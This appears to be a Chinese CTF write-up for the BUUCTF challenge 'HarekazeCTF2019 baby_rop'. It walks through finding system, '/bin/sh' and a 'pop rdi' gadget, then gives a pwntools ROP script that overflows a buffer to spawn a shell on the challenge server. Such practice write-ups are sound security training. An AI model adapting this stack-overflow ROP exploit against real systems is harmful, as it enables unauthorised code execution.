• [BUUCTF]PWN17——[HarekazeCTF2019]baby_rop


    [BUUCTF]PWN17——[HarekazeCTF2019]baby_rop

    附件

    步骤:
    例行检查,64位,开启了NX保护
    在这里插入图片描述
    试运行一下程序,看这个情况,当我们输入太长字符串的时候会报错

    在这里插入图片描述
    64位ida载入,shift+f12查看程序里的字符串,看到了system 和 ‘/bin/sh’
    在这里插入图片描述
    双击跟进,ctrl+x查看一下哪里调用了字符串,没有找到函数,只找到了地址
    shell=0x601048
    在这里插入图片描述
    system=0x400496
    在这里插入图片描述
    在这里插入图片描述
    找到输入点,没有限制v4读入的数据,可以造成溢出,跟pwn16差不多,唯一的区别就是64位程序传参需要用到寄存器,我们找一下设置rdi寄存器的位置

    ROPgadget --binary babyrop |grep "pop rdi"
    

    rdi=0x400683
    在这里插入图片描述
    EXP:

    from pwn import*
    
    r=remote('node3.buuoj.cn',25853)
    
    shell=0x601048
    system=0x400496
    rdi=0x400683
    
    payload='a'*(0x10+8)+p64(rdi)+p64(shell)+p64(system)
    
    r.sendline(payload)
    r.interactive()
    

    flag不在根目录下,需要我们找一下,利用find -name flag找一下
    在这里插入图片描述

  • 相关阅读:
    各自的特点:
    errno
    内存(堆)的动态申请和释放
    printf和scanf中的%控制
    linux中软件包管理
    Ubuntu新装系统要装软件
    数组
    linux c中需要记住的东西
    硬件设计中的一些思路
    传输线理论
  • 原文地址:https://www.cnblogs.com/xlrp/p/14273717.html
Copyright © 2020-2023  润新知